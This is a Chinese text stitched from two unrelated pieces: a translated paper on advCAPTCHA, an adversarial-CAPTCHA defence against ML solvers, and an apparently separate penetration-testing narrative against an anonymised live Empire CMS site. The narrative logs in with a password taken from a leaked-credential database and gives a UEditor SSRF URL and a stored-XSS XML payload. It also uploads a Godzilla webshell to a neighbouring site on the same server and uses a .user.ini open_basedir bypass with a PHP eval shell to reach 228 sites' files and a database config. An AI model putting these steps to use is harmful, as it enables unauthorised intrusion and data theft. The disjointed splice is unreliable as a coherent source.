生成对抗性验证码。有了替代破解模型后，精心设计了扰动算法以生成对抗性验证码。基于图像分类领域中发生的逃避攻击，提出了几种适用于扰动验证码的通用扰动算法。这些算法可以在安全性和可用性之间取得良好的折衷。生成对抗性验证码后，可以使用它们来防御基于ML的攻击。
**步骤3：**
查询攻击模型。此步骤是可选的，仅在需要微调替代模型（例如，观察到攻击模型的更新）时才执行此步骤。在此步骤中，旨在通过收集发送给他们的验证码及其提交的答案来查询攻击模型。此步骤中的关键问题是如何向攻击者正确分配验证码。幸运的是可以利用现有的用户风险分析系统，在该系统中，被确定为具有高置信度的异常用户的用户被归类为攻击者。最后，将验证码分发给这些攻击者，并收集他们的答案，这些答案将在下一步中使用。
**步骤4：**
调整替代破解模型。受模型提取攻击的启发，提出了一种新颖的机制来微调替代模型以逼近实际攻击模型。具体来说，通过使用从步骤3收集的一组标记的验证码来微调替代模型。在这里，查看攻击者提交的答案作为对攻击模型的查询，并且每个答案都传达了攻击模型的部分信息。通过模型提取，可以微调替代模型以自动近似攻击模型。此外，与从头开始构建新的替代模型相比，微调现有的替代模型更为有效。利用这一微调步骤，可以在观察到攻击者模型的更新后有效地调整防御系统。
### 2）构建替代破解模型
#### (a)模型结构
本研究的验证码破解模型旨在直接识别验证码图像，这与许多以前的工作不同，后者通过以下三个步骤来解决基于文本的验证码：预处理，分割和识别。使用端到端识别模型，其中输入是未经预处理的验证码图像，输出是图像中字符的序列。具体来说，使用卷积递归神经网络（CRNN）作为验证码破解模型，该模型需要较少的专家参与，并且更便于生成对抗性验证码。通常，此模型首先从输入图像中提取特征，然后自动分割特征（完整验证码）并识别每个分割（单个字符），最后寻求最佳组合。此过程可以显着减少训练模型所需的数据量。在评估中，对于四字符验证码方案（具有62^4种类型的标签序列），可以使用100K样本来训练精度为92％的破解器。
#### (b)训练替代模型
根据CRNN模型，为实际网站上部署的目标验证码方案训练了替代破解模型。请注意，目标是建立一个替代模型，该模型与实际的攻击模型相近，该模型可以通过从多个提示验证码方案生成的验证码进行训练。因此，通过利用目标验证码方案以及其他验证码方案来训练替代破解器。为了收集不同的验证码方案，可以从不同的网站爬取，也可以通过开源软件生成。然后，将这些混合数据用作训练数据集。每个训练样本均由一个验证码图像（未经预处理）和一个存储验证码字符ID的整数向量组成。请注意，目标验证码方案的每个候选字符分配了唯一的ID。然后，可以将训练有素的替代模型应用于生成对抗性验证码。
### 3）生成对抗性验证码
#### (a)表示法
首先在生成对抗图像的背景下提出必要的符号，将破解器表示为函数Fθ（x）=
y，其中Fθ是神经网络，x∈R^(n×m)是输入图像，而y∈R^(r)是相应的输出。请注意，对于CRNN模型，y是标签序列，r是验证码中的字符数。将x’∈R^(n×m)定义为对抗图像，并令L（θ，x，y）为Fθ的目标函数。使用Lp范数来度量x和x’之间的相似度，定义为
#### (b)扰动算法
最近，已经提出了许多逃避攻击以生成对抗图像。但是，基于以下两个原因，这些方法不能直接应用于扰动验证码。
1）先前扰动图像的方法集中于分类模型，其预测包含所有标签的输入概率。然后，他们可以依靠这些置信度信息来生成对抗性示例，例如，增加目标标签的概率或降低地面真相标签的概率。相比之下，对于验证码，利用端到端模型，该模型使用解码步骤来计算输出。特别地，本文的方法利用CTC损失来预测给定标签序列的输入概率。因此，在本研究方法中，通过减少地面真相标签序列的CTC损失来生成对抗性验证码。
2）需要特别注意限制注入验证码的干扰的位置，以保持其高可用性。特别是， 使用掩码来控制要注入的扰动的位置，并且可以将扰动计算为
其中M∈R^(n×m)是一个二维矩阵，称为掩码，它确定需要将扰动注入到原始验证码的哪个区域。 M是一个二进制矩阵，如果Mi，j =
1，则只能将噪声注入到（i，j）的像素。可以轻松地选择适当的M（例如背景区域）来维持对抗验证码的可用性。
ϵ是一个常数，它控制所注入的扰动的总量。显然，较高的ϵ需要将更多的每个扰动添加到验证码中。此方法仅按照公式1一步计算对抗性扰动，因此被称为直接方法。
还考虑了生成对抗性验证码的迭代方法。该方法迭代地采取多个小步骤（如公式2中所示）来计算对抗性扰动，同时在每个步骤之后调整方向。与直接方法相比，迭代方法在相同的干扰水平下会导致更多的错误分类（即，从防御角度来看，更可靠的验证码）。
其中α是一个常数，用于控制每个步骤中注入的扰动量。对于包含s个步骤的迭代方法，迭代方法中的总扰动量为ϵ =
s×α。在迭代方法中，默认步长s为10，默认扰动水平α为1/3的十分之一。
最后，为了生成更多的随机对抗验证码，本研究提出了一种混合方法将各种扰动注入到验证码图像中，其中
在算法1中展示混合方法的过程，简单地说首先随机选择k个蒙版。请注意，插入到同一区域的每个扰动可能会彼此冲突，因此，请确保这些多个掩码没有空间重叠。对于每个掩码，对抗扰动是通过不同的输入方法（直接和迭代方法）和参数设置（不同的距离度量和扰动级别）生成的。最后将这些扰动整合在一起，并将其注入到原始的验证码中。
### 4）查询攻击模型
接下来，需要向攻击者分发对抗性验证码并记录他们的答案。似乎矛盾的是，如果可以找出哪些用户是攻击者，可以简单地拒绝他们的访问，而不用发送验证码。研究强调：
1）此步骤是可选的，仅在需要微调替代模型时才执行；
2）在实践中，只能找出一小部分高信任度的攻击者。通过与这些高信任度的攻击者进行接触，可以提高对抗性验证码的安全性，并最终防御更多潜在的攻击者。现在，这里的主要挑战是识别攻击者。
不向要解决的商业服务提交对抗性验证码，因为不知道攻击者使用了哪些商业服务。相反，利用现有的用户风险分析系统来识别高可信度的攻击者。当需要判断用户操作时，前端Web会收集用户的行为信息和环境信息，并将其提交给后端的风险控制引擎。后续风险控制引擎将基于这些收集的信息的特征（例如鼠标移动，IP地址和Cookie）做出决策。它可以确定是阻止操作还是进行第二判断。除了用户环境信息和高频信息外，本研究的用户风险分析系统还更加关注用户行为信息，例如，鼠标滑动和页面停留时间，因此更难伪造，因此更可靠。
还值得注意的是，识别高可信度的攻击者可能不是实时过程。实际上，会将验证码发送给风险用户（包括高信任度和低信任度攻击者）。同时记录他们的答案和相应的特征，这些特征由风险分析系统收集。在部署几天（例如一周）后，专家可以进一步分析记录，以利用多种工具和域知识来识别高可信度攻击者，这样可以高精度地识别攻击者。最后，选择确定的攻击者提交的答案，并将其视为对攻击模型的查询。
### 5）微调替代模型
最后一步是微调替代模型，微调过程旨在使替代模型适合收集的查询数据，并保持原始验证码数据的准确性。因此，通过优化两个目标的加权和来制定多目标优化任务。
其中（xq，yq）是步骤3生成的查询数据，而（xo，yo）是步骤1使用的原始训练数据。θ是替代模型参数，例如权重和偏差。
L（·）是衡量分类误差的损失函数，在实验中是CTC损失。
λ是权衡新损失的查询数据和原始的验证码数据之间的权衡。在实验中，动态调整λ以确保可以正确识别合理比例的原始训练数据。使用Adamoptimizer有效地求解公式4。
请注意，为了提高微调过程的效率，通过对抗性验证码而不是普通验证码来查询攻击模型。原因如下。假设xq是查询过程中使用的验证码，y’=FΘ（xq）是xq替代模型的预测，而y’’是xq实际攻击模型的预测。在微调过程中，旨在使替代模型适合收集的查询数据。换句话说，利用y’和y’’之间的差异来更新替代模型。如果使用普通的验证码来查询攻击模型，则在大多数情况下，y′与y相同，因为攻击模型和替代模型对普通验证码的识别率都很高。因此，此类查询对于微调替代模型的信息较少。
相比之下，利用对抗性验证码来查询攻击模型，根据观察，攻击模型通常会生成不同的y’和y’’。因此，在相同数量的查询下，与普通验证码相比，使用对抗性验证码可以实现更好的模型拟合性能。
此外，尤其是当查询数据集中的标签偏离基准时，更新后的替代模型的准确性可能会降低。为了解决这个问题，在公式4中增加了保持原始训练数据准确性的第二个目标。在后文验证了微调过程的有效性，并显示了其针对各种攻击模型的鲁棒性。
## 0x04 Deployment and Evaluation Setup
### 1）应用平台
在大型国际商业平台上部署advCAPTCHA，为企业和个人用户提供广泛的服务。目前商业用户数量已超过100万，覆盖政府，消费者，航空，金融等领域，当前月活跃用户数量为8.24亿。
在线学习期间，为了控制风险，仅在合作公司提供的网站上进行实验。该网站是政府服务网站，可以从中查询一些公共信息（例如交通违章，驾驶执照等）。当用户登录帐户或查询信息时，他/她必须通过人机识别测试。从用户的角度来看，他/她首先需要滑动条，这类似于解锁手机屏幕。然后，用户风险分析系统将判断用户的风险水平，并确定是否向其发送验证码。此网站上部署的验证码方案是由四个字符组成的文本验证码，这些字符具有合并字符，而没有背景噪音。据该公司的域名专家称，该网站每天大约遭受100,000至1,000,000次攻击。
### 2）部署
在以下平台上部署advCAPTCHA：
1）合作公司通过其现有的验证码生成算法每周生成N个普通验证码，其中每个实验的评估中N = 100,000。
2）根据前文中的算法，利用替代模型从N个普通验证码中生成N个对抗性验证码。
3）当有身份验证请求时，即风险分析系统确定他/她是危险用户（包括高信任度和低信任度）时，会将对抗性验证码发送给用户。同时，记录他/她的相应特征并回答。
4）每周，领域专家都会介入并进一步分析存储的特征，以确认高可信度的攻击者。
5）当观察到攻击模型的更新时，例如，攻击的总体成功率急剧上升时，将使用高自信度者提出的答案来细化-调整本研究的替代模型。部署和评估的整个过程将持续9个月，请注意，只有这些高可信度攻击者提交的结果才可以用来衡量本文的对抗验证码的安全性。
### 3）评估设置
总体而言，在评估中使用了12种不同的验证码方案，其中有7种是合作公司提供的真实验证码方案，其他5种方案则来自开源软件。这些方案可以生成包含不同背景，不同长度和其他防御因素的验证码。在上图中显示了采用的方案生成的验证码示例。在训练阶段，使用所有12个验证码方案来训练替代模型，这可以使破解器更通用。在测试阶段（即在线学习）中，仅使用一种验证码方案（合作公司实际使用的验证码方案）来生成对抗性验证码，因为目标是保护部署在真实网站上的验证码方案。
## 0x05 Evaluation
在本节中，进行了大规模的在线经验研究，以评估advCAPTCHA的性能。首先，分析了在线实验中识别出的攻击者的行为。然后展示了advCAPTCHA的有效性，以及在不同模型参数和不同替代模型下的鲁棒性。
### 1）攻击者分析（高风险用户）
在验证码安全方案中，攻击者被定义为使用训练有素的ML模型或其他设计良好的自动手段来解决验证码的攻击者。因此，他们可能表现出与普通用户不同的行为。
不同的答案长度：当提供验证码解决方案服务时，验证码破解器通常接收从不同方案生成的验证码，例如，不同的字体样式，不同的背景以及具有不同长度的验证码。为了最大化利润，在实践中，验证码破解器通常会训练可用于攻击不同验证码方案的模型。因此，即使对于固定长度的验证码方案，这种模型也可能返回具有不同长度的答案。相比之下，对于人类提交的答案，无论正确与否，对应的字符长度很有可能是正确的，尤其是对于固定长度的验证码方案。因此，机器人和真实用户提交的答案的长度分布可能会有所不同。因此，在实验中：
1）利用替代模型生成对抗性验证码，
2）根据替代模型的预测选择10万个长度异常的对抗性验证码，
3）将这些对抗性验证码发送给攻击者和普通用户，
4）测量答案的长度。
结果如下图所示。观察到，有76％的攻击者提交的答案的长度不同于本研究的验证码方案所定义的四个，而只有2％的正常用户返回的长度不一样。这种现象还表明，当前攻击者开发的验证码破解器很可能是端到端模型，否则攻击者将为固定长度验证码方案返回相同长度的答案。
与对抗性验证码性能不同。机器学习模型容易受到对抗性示例的攻击，而相比之下，人类几乎不受影响（可以在对抗性示例的设计中确保这一点，因为它将对抗性/实用性纳入了交流计算）。在此实验中，首先利用替代模型生成100,000个对抗性验证码。根据替代模型的预测，将这些对抗性验证码分为两类。
1）字符验证码错误：只有一个字符与基本事实不同的验证码。例如2DUA被识别为2DUS。
2）错误答案的验证码：验证码的字符与基本事实不同，不只一个字符。例如，Agz3被识别为NGE3。
然后，将这些验证码发送给攻击者和普通用户，上图显示了攻击者和普通用户对对抗式验证码的识别错误率。观察到，与正常用户相比，攻击者更有可能错误地识别对抗性验证码。换句话说，攻击者更容易受到对抗性验证码的攻击。还观察到，普通用户对错误答案验证码的识别率高于对错误字符验证码的识别率。在仔细分析了不同设置中的验证码后，发现添加到错误字符验证码的基于L0的扰动将位于角色周围（如下图所示），这也可能会影响人类的识别。
相反，基于L∞的扰动不会影响人类的认知。这种观察促使研究者仔细分析算法中注入扰动的位置。在实际部署期间，更喜欢使用混合方法（同时使用L0和L∞距离来生成对抗性验证码）。向整个验证码注入基于L∞的扰动，而仅向背景注入基于L0的扰动。这样，倾向于生成高度可用和安全的对抗验证码。
上面的分析表明，攻击者的识别行为在一定程度上可与普通用户的识别行为区分开。
1）即使对于固定长度的验证码方案，攻击者提交的答案的长度也更有可能不同，这表明当前的攻击者可能会使用基于深度学习的破解器。
2）对抗性验证码往往会对攻击者的性能产生重大影响，而对正常用户几乎没有影响。
### 2）advCAPTCHA的有效性
扰动算法的影响：首先，距离度量Lp（它控制扰动的基本形状）和扰动水平ϵ（控制总扰动量）中，在不同算法参数下评估对抗验证码的性能。计算攻击者的成功率（SR）以量化其性能。对于距离度量，选择L0，L∞和混合方法（同时使用L0和L∞距离来生成对抗性验证码）；请注意，L0和L∞是用于生成对抗性示例的通用距离度量。对于扰动级别，根据可用性研究，对于基于L∞的方法，选择ϵ
= 0.1，0.2，0.3，对于基于L0的方法，选择ϵ =
25、50、100。本研究还考虑了直接和迭代的方法，该方法包含10个步骤，每个步骤的扰动水平α为1/3的十分之一（此设置与以下所有实验均一致）。请注意，在所有实验中都使用相同的掩码大小，这是验证码面积的四分之一。使用模型1作为替代模型，并在下图中显示相应的实验结果。
从上图有以下观察：
1）对抗性验证码可以有效降低攻击者的SR。当对L0距离使用ϵ = 100而对L∞距离使用ϵ =
0.3时，如果采用混合方法，则对抗式验证码的最低SR（降低至36％）发生，并且假定SR的SR由直接方法产生普通验证码的攻击者为76％。
2）扰动水平among是不同参数中最重要的因素。当扰动水平提高时，攻击者的SR明显下降。其他参数，例如距离度量，直接和迭代方法，对攻击模型的SR影响较小。尽管通过直接方法可以实现最佳性能，但是它不能总是优于迭代方法。
3）混合方法将不同的扰动整合到验证码中，可以提高对抗性验证码的安全性。观察到，与仅向验证码中注入L∞或L0扰动相比，将基于L∞和基于L0的扰动注入验证码的混合方法平均可以减少8％的SR。一个可能的原因是，混合方法可以在黑盒方案中利用基于L∞和基于L0的方法的优势。
从下图，有以下观察：
1）模型结构不是影响对抗式验证码性能的重要因素。没有替代模型始终可以保持比其他模型更好的结果。一个潜在的原因是，解决基于文本的验证码并不复杂，因此简单的模型结构（如LeNet）足够强大。在随后的实验中，为方便起见，仍将模型1作为替代模型。
2）训练数据对于对抗验证码的安全性很重要。与第一和第二类型的训练数据（仅目标验证码方案和所有真实的验证码方案）相比，当使用第三种类型的训练数据（所有真实和合成验证码方案）来训练替代模型时，对抗性验证码的安全性得到了显着改善（与上图中的最佳结果相比，攻击模型的SR降低了10％到20％）。这表明使用混合训练数据来训练替代模型可以提高对抗性验证码的安全性。可能的原因是，攻击者可能针对各种验证码方案训练其攻击模型。换句话说，攻击者使用的训练数据也是混合训练数据。结果，通过使用不同的验证码方案生成的验证码训练的模型将与攻击模型更加一致。
改进对抗示例与改进对抗验证码：动量法可以在相同扰动水平下提高对抗性实例的可传递性，即从防御角度提高对抗性验证码的安全性。因此，进一步评估对抗性验证码生成中的动量方法。但是，从前图中，发现动量法的性能与先前的经验不一致。在验证码生成中使用动量方法后，在某些情况下无法提高生成的验证码的安全性。从图中可以看到，在低扰动水平下（例如，对于L0，ϵ
= 25，对于L∞，ϵ = 0.1），动量法可以降低攻击模型的SR。相比之下，在高扰动水平下（例如，L0 = 100，L∞=
0.3），动量法增加了攻击模型的SR，这表明动量法甚至可能产生负面影响。一个可能的原因是对抗性例子生成和对抗性例子生成之间的差异。与生成注入人类不可察觉的扰动的对抗示例相比，本研究通过注入人类可容忍的扰动并控制注入扰动的区域来生成对抗性验证码。因此，期望研究提高对抗性的质量的专用方法。
### 3）微调替代模型的影响
现在评估通过攻击模型的查询来微调替代模型是否可以提高对抗性的安全性，使用模型1作为替代模型，其训练数据由所有真实和合成的验证码方案生成。在实验中，首先利用替代模型生成100,000个对抗性验证码。然后，将这些对抗性验证码发送给已识别出的攻击者，并收集他们的答案，这些答案将被进一步利用以找到调整替代模型，生成相应的对抗性验证码并再次发送给已识别出的攻击者以进行评估。
在对模型进行微调之后，观察到攻击者的SR进一步降低到了12％（相比之下，根据前图进行微调之前的SR为17％）。这表明模型提取技术和微调可以有效地改进替代模型，使其与攻击者模型更加相似，从而提高了生成的对抗验证码的安全性。此外，当攻击者更新其攻击模型时，微调替代模型将发挥更大的作用。因此，微调过程可以为对抗验证码提供强大的适应性，以应对攻击模型的更新。
### 4）可用性分析
最后，进行实验以评估advCAPTCHA在实际应用中的可用性。在实验中，设置了五组对抗性验证码。
1）使用不带掩码的L0方法生成的验证码，将L0扰动注入到验证码中，并且掩码的大小为完整的验证码区域。注意，掩码用于限制注入的扰动的面积，并且掩码的完整验证码面积意味着对注入的扰动没有限制。
2）使用没有掩码的L∞方法生成的验证码，其中将L∞扰动注入到验证码中，并且掩码的大小为完整的验证码区域。
3）使用L0方法生成的验证码，其中将L0扰动注入到验证码中，并且掩码的大小为验证码面积的四分之一。
4）使用L∞方法生成的验证码，其中将L∞扰动注入到验证码中，并且掩码的大小为验证码面积的四分之一。
5）使用混合方法生成的验证码，其中将每个扰动的L0和L∞都注入到验证码中，每个掩码的大小为验证码面积的八分之一。
然后，将这些验证码发送给普通组，并收集它们的答案以及解决每个验证码所花费的时间。在表下中显示了收集的数据，分别包括完成相应验证码的所有用户的平均成功概率，平均时间消耗和中值时间消耗。
从上表中，观察到：
1）扰动算法中的掩码对于保持对抗性验证码的可用性非常有帮助。在对抗性验证码生成中不使用掩码的情况下，人在识别对抗性验证码时的SR明显低于普通验证码，特别是在高扰动水平下。相比之下，如果通过掩码限制扰动的位置，则在识别对抗性验证码时，人类的SR与普通验证码相似。
2）将各种干扰注入验证码的混合方法几乎不会对人类识别产生负面影响。
3）在实践中，对于保持对抗性验证码的可用性，对于L∞而言，ϵ≤0.3和对于L0而言ϵ≤100是很好的选择。这些选定的值在平衡普通用户的SR和攻击者的SR方面也显示出良好的性能（如下图所示）。在此范围内，普通用户的SR降低的速度要比攻击者的SR缓慢得多。因此，在实验中考虑L∞的ϵ≤0.3和L0的ϵ≤100。
与在现实世界中招募的志愿者参与者一起评估advCAPTCHA会很有趣，但这可能会导致其他限制。例如，与实验中的在线测试相比，用户规模要小得多。另一个挑战在于参与者的选择，以防止由于人口统计而造成的偏见。因此遵循最佳实践评估方式，选择进行在线实验以评估advCAPTCHA的可用性。
总之，根据评估，由advCAPTCHA生成的对抗性验证码具有与普通相似的可用性。结合前文中对advCAPTCHA的安全性评估，它们共同证明advCAPTCHA可以抵抗基于ML的攻击，同时又能保持对人类的高度可用性。
## 0x06 Further Anaysis of The Fine-Tuning Process
在本节中，通过脱机实验进一步分析advCAPTCHA的微调过程，包括攻击模型更新后的安全分析，防御不同攻击模型的鲁棒性，人工在查询过程中的影响以及影响微调参数。使用模型1作为基准替代模型并使用模型4作为默认攻击来分析advCAPTCHA的最坏情况性能，因为它们在结构上存在最大差异。为了与前文中的实验一致，使用混合方法生成对抗性验证码，该方法注入s
= 100的L0扰动和ϵ = 0.3的L∞扰动。
### 1）攻击模型更新后的安全性分析
首先，研究了advCAPTCHA在攻击模型更新下的微调过程。具体来说，比较了原始替代模型和微调替代模型生成的对抗验证码的安全性。在实验中，通过使用100,000个对抗式验证码和相应的标签来重新训练攻击模型，以模拟验证码解决方案服务更新其攻击模型的过程（假设攻击者使用人工或其他方式获得了对抗验证码的真实标签）。然后查询重新训练的攻击模型（通过向其发送100,000个对抗验证码）并使用查询结果（攻击模型提交的答案）对替代模型进行微调。最后，分别利用原始的替代模型和微调的替代模型来生成对抗性验证码并测量攻击模型的相应SR。
观察到当使用100,000个对抗性验证码来重新训练攻击模型时，攻击模型的SR从7％增加到43％。在根据攻击模型提交的100,000个答案对替代模型进行了微调之后，其SR降低到了13％。这些观察结果表明advCAPTCHA可以自适应地防御攻击模型的更新。实际上，可以定期（例如每周一次）或在观察到总体SR大幅增加时微调验证码生成模型。
接下来，进行五轮攻击模型更新，以进一步衡量对抗性验证码的安全性。每轮都遵循上面列出的相同设置，即使用100,000个对抗性验证码来重新训练和查询攻击模型。每轮更新后，都会获得一个新的微调模型。上图显示了对抗式验证码的攻击模型的SR，这些SR是在不同的攻击模型更新轮次时由微调的替代模型生成的。从图中可以看出，攻击模型的SR随着攻击模型更新次数的增加而缓慢增长。该观察结果表明，随着攻击模型的更新，对抗性验证码的安全性不会迅速降低。考虑到攻击者升级模型所需的实际时间和成本，对抗性验证码可以大大提高原始验证码方案的安全性和生命力。
### 2）advCAPTCHA在防御各种攻击模型时的鲁棒性
在实践中，可能存在多种同时破坏验证码的攻击模型。在这里，考虑了多种攻击模型（上表中所示的普通验证码具有相应的SR的模型2、3、4、5、6）。在查询过程中，对五个攻击模型中的每一个进行相同次数的查询（即，向他们发送相同数量的对抗性验证码），范围从10K到100K。下图显示了advCAPTCHA在五种不同攻击模型下的性能，观察到：
1）所有攻击模型的SR都在[41％，46％]之内，这表明advCAPTCHA可以防御各种攻击模型；
2）微调过程仍然可以有效降低所有攻击模型的SR（跨模型平均从43％降低到23％）。
还观察到，在多个攻击模型下，SR的降级小于单个攻击模型的降级。特别是，对于100,000个查询回合，在单一模型攻击下的SR为13％，在五个模型攻击下的SR为23％。由于使用单个替代模型来适应多个不同的攻击模型更加困难，因此此结果在预期之内。
### 3）查询中人为回答的影响
流程在查询过程中，使用风险分析系统来识别攻击者。但是，从确定的攻击者那里收集的查询可能包含人为提交的结果，这可能是由风险分析系统的误报引起的。在这里调查这些人类答案是否会影响微调过程。
对抗性验证码旨在防御自动匹配，但仍可以被人类正确识别。因此，人类提交的答案通常是正确的。因此，为了模拟人类的答案，将攻击模型的查询答案更改为正确的验证码。具体来说，在实验中首先使用对抗性验证码来查询攻击模型并从中获得答案。然后，以不同的比例（例如0％，10％，20％，…，100％）将查询答案修改为正确的答案。在这里，不同的比例对应于所有查询中不同数量的人类答案。接下来，使用修改后的查询数据来对替代模型进行微调。最后，利用微调的替代模型来生成对抗性验证码，并测量攻击模型的SR。
上图显示了查询中的人工答案如何影响对抗性验证码的性能，可以观察到：
1）查询中少量的人类答案对模型微调没有影响。当人类回答的比例≤20％时，攻击模型的SR会略有增加。此外，如果人类回答的比例≤30％，可以查询更多次以获得与没有人类回答的性能类似的性能；
2）随着人类回答比例的增加，攻击模型的SR也会增加。但是，即使在人类回答的比例很高的情况下，SR也类似于没有进行微调的情况。
这些结果表明advCAPTCHA在查询过程中可以抵抗人工回答。原因之一是，在微调过程中，确保了其原始训练数据的模型准确性（请公式4），这可以防止替代模型偏离正确的方向。在下面的实验中，进一步分析了公式4中的参数对微调过程的影响。
### 4）不同λ下的性能
为了更好地说明第二项L（θ，xo，yo）在微调目标函数中的作用（公式4），进行了一项实验，以研究在各种λ值下的微调性能。具体来说，假设查询总数为100,000，将在不同的λ值和不同比例的人类提交答案下微调替代模型，在下表中显示了相应的结果。
从上表，有以下观察。首先，当人工仅提交0％或10％的答案时，微调目标函数中的第二项可以防止模型精度对原始数据的降低，同时可以降低攻击模型的SR
。其次，选择合适的λ值很重要。较大的λ值很容易使模型在微调过程中过于关注原始训练数据，而不是拟合攻击模型。在实践中，根据经验发现动态调整其值，以使原始训练数据上的模型准确性达到90％左右，可以在拟合攻击模型和防止模型崩溃之间取得良好的折衷。
### 5）验证码在查询过程中的影响
根据前文分析，知道使用对抗性验证码（而不是普通验证码）可以加快微调过程。在这里，使用经验评估进一步验证了这一结论。在实验中，首先将普通验证码和对抗验证码分别发送到攻击模型。对于每种类型的验证码，验证码的数量从10K到100K。然后，分别使用对应于普通验证码和对抗验证码的答案来微调替代模型，并获得两个新的替代模型。最后，利用两个经过微调的替代模型来防御攻击模型，从而生成对抗性验证码。下图显示了攻击模型的SR与查询数量之间的关系。观察到，当微调替代模型时，使用普通的验证码需要更多查询（大约10次）才能获得与对抗验证码相似的性能。这是因为攻击模型和替代模型都具有很高的普通验证码识别率。对于验证码，如果查询结果（针对验证码的攻击模型的输出）与替代模型的输出相似，则对于微调替代模型的信息量较小。因此，建议在微调过程中利用对抗性。
## 0x07 Discussion and Limitation
在网站的日常运营中，由于可以通过风险分析系统相对轻松地阻止对跟踪者的高信任度，因此制定了开发advCAPTCHA的目标，以防御低信任度的攻击者。当然，在实践中不可能获得攻击者的完美标准。因此，在部署和评估中，为了使实验和结果更具说服力，将按照最佳实践的方式，利用高可信度的攻击者来评估advCAPTCHA的安全性增强，即在评估期，在直接屏蔽它们之前，利用它们首先评估advCAPTCHA。此外，在实验中，领域专家也手动确认了这些高级别攻击者。因此，在某种程度上，可以将高自信的攻击者视为已知的攻击者。有理由相信本研究的实验结果可以反映advCAPTCHA在实际攻击下的性能。
要强调advCAPTCHA的通用性，以及它相对于现有作品的优势。
advCAPTCHA和其他验证码方案没有竞争，但却是互补的。对抗性验证码的主要目标是增加计算机识别的难度。因此，可以将advCAPTCHA扩展为执行类似识别任务的验证码方案，例如图像验证码。具体而言，将advCAPTCHA通用化为其他验证码方案有两个步骤：
1）用可以识别目标验证码方案的模型（例如，用于识别图像验证码的CNN）替换替代模型（CRNN模型）。
2）设计适当的扰动机制，以将噪声注入目标验证码图像。实际上，已针对基于点击的验证码方案实施了对advCAPTCHA的附加评估，其中要求用户根据提示单击图片中的单词。由于篇幅所限，不在本文中包括此设计。实验结果也验证了在这种情况下advCAPTCHA的有效性，这进一步证明了其在各种验证码生成方案和应用方案中的通用性。
advCAPTCHA也是对用户风险分析系统（例如Google
noCaptcha）的潜在增强。这种流行的验证码方案可以提供出色的用户体验，因为在大多数情况下，正常用户的操作不会受到干扰。但是，与传统的验证码相比，整个系统的安全性并未得到改善，因为攻击者可以在第一阶段简单地忽略风险分析，而仅在第二阶段专注于验证码的解决。在这种情况下，advCAPTCHA可以通过动态生成对抗性验证码来降低验证码破解器的性能。
验证码方案的普通版本可能会影响advCAPTCHA的可用性。普通用户的advCAPTCHA的故障率在很大程度上取决于验证码方案本身的普通版本。因此，advCAPTCHA如果设计不佳，则无法增强验证码方案。此外，类似于执行识别任务的许多其他验证码方案，advCAPTCHA无法抵御雇用人类用户的验证码解决方案服务，认为这是可以接受的，因为验证码旨在被人类认可。
## 0x08 Conclusion
在本文中提出advCAPTCHA的设计和评估，这是在国际电子商务平台上首次大规模部署对抗性验证码，以防御基于ML的验证码解决方案攻击者。
advCAPTCHA填补了对抗性验证码的科学创新与其在实际应用中的采用之间的空白。
具体来说，本研究提出了新颖的扰动方法来生成对抗性验证码，从而降低了验证码破解器的性能。 进一步结合了模型提取的思想，以使本文的替代模型适合实际的攻击模型。
在观察到攻击者模型的更新后，该策略可以自动调整防御系统。 现实世界平台上的大量实验证明了advCAPTCHA的有效性，它可以大大降低实际攻击者的成功率。 | 社区文章 |
# 0 前言
公司的每月任务同事没完成数量就帮忙看了一下，发现到了个查不到的问题就来分享了一下。
# 1、渗透路程
首先从资产列表中随便选了一个站：<http://www.xxxxx.org.cn> 。然后就习惯性的先点击插件link-grabber看看网页有包含了什么链接
这路径一看直接猜测一波帝国cms好吧。直接猜一波后台路径/e/admin，哦吼果然没那么简单。
那就看一下前台登录路径看得不得/e/member/login/，呀呼，前台可以
本来下面应该是empire cms的不知道被改成了什么意思的cms，不过版本号可能就没改，那就可能是帝国cms7.2的版本了。
点击会员列表看到只有一个admin的账户，想着爆破一波弱口令，可惜没爆破成功
然后就扫了一下端口看看有什么端口，扫到了个27017端口，mongodb数据库，用超级弱口令工具检测出来密码为空，以为能拿到数据库了。结果好家伙，尝试了各种工具花了半天发现连不上。（后面看到了这个：<https://blog.csdn.net/Xu_programmer/article/details/116561078>
才知道原来是误报，。，。踩坑了）
在会员列表看资料/e/space/?userid=1看到了有留下了邮箱。然后就通过sgk找到了前台的密码，成功拿下了前台
但是可惜前台很多功能都被删完了，几乎没剩下什么可以利用的了。就在无望的时候扫描目录发现了个ueditor，哦吼。/e/data/ecmseditor/ueditor/。通过用控制台输入：console.log(UE.version)能看ueditor的版本。为1.4.3
随后通过搜索引擎发现有个ssrf漏洞/e/data/ecmseditor/ueditor/php/controller.php?action=catchimage&source[]=<https://www.baidu.com/img/baidu_jgylogo3.gif>
本来想着看能不能getshell的，但是这个是php的，好像只有aspx的才能getshell，于是只能上传文件个存储型xss了
通过上传图片后抓包将uploadimage类型改为uploadfile，并修改文件后缀名为xml,最后复制上xml代码即可
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
</something:script>
</body>
</html>
在无果的时候想着了这个应该不是后台的路径，于是想起了这个是由一家名为：XX信息 的公司建立的
于是对路径/e/xx/ 进行了猜想，果然就是帝国cms的后台登录地址了，但是没有账号密码，登录不上。又陷入了沉迷
于是又想起了访问的如果是https报错的话有显示个报错信息，里面包含是另外一个网站livexxxxxx.com
于是对两个网站都ping检测了一下，发现两个都是同个IP，那应该就是同个服务器下面的了
打开旁站后一心想着找后台，虽然找到了后台地址，但是发现后台地址也没登录上，在前台地址看到了能扫码登录，于是用wechat扫码登录了一下，然后就看到了在头像的位置能上传，于是就随便上传了个php文件，没想到可以直接上传！！！
二话不说直接就上传了个哥斯拉的马，拿下了旁站的shell。但是什么命令都执行不了，用的是宝塔，想着用fpm绕过disable，但是绕不过。php7的，用FFI也不行。
然后我就想着提权不了，也看不了上级的目录，那要怎么拿目标站？辛亏我师傅说可以用.user.ini和php文件来绕过目录的限制！！
.user.ini
open_basedir=:/
user.php
<?php
eval($_post["pass"])
?>
通过突破目录的限制，连上了新的shell后发现能看到全部的目录了，结果一看好家伙，228个目录站，首先就找了此次的目标站
然后在e/config/config.php
找到了数据库的配置，用哥斯拉连上了数据库，找到了后台的数据库表之后想着添加个账号，但是好家伙，一看我人懵了，这是什么鬼？？？用cmd5也搜不到密码
然后通过搜索引擎都没搜到我想要的创建账号的相关信息，于是自己搭建了个帝国cms7.2的版本来测试，但是在数据库怎么添加的账号都是这样登录不上，在后台添加的账号却可以直接登录。试了一下在数据库复制在后台创建的账号，然后再在后台把新创建的账户给删了，再用数据库直接添加，但是也还是登录不上。我人又双叒叕的懵了。
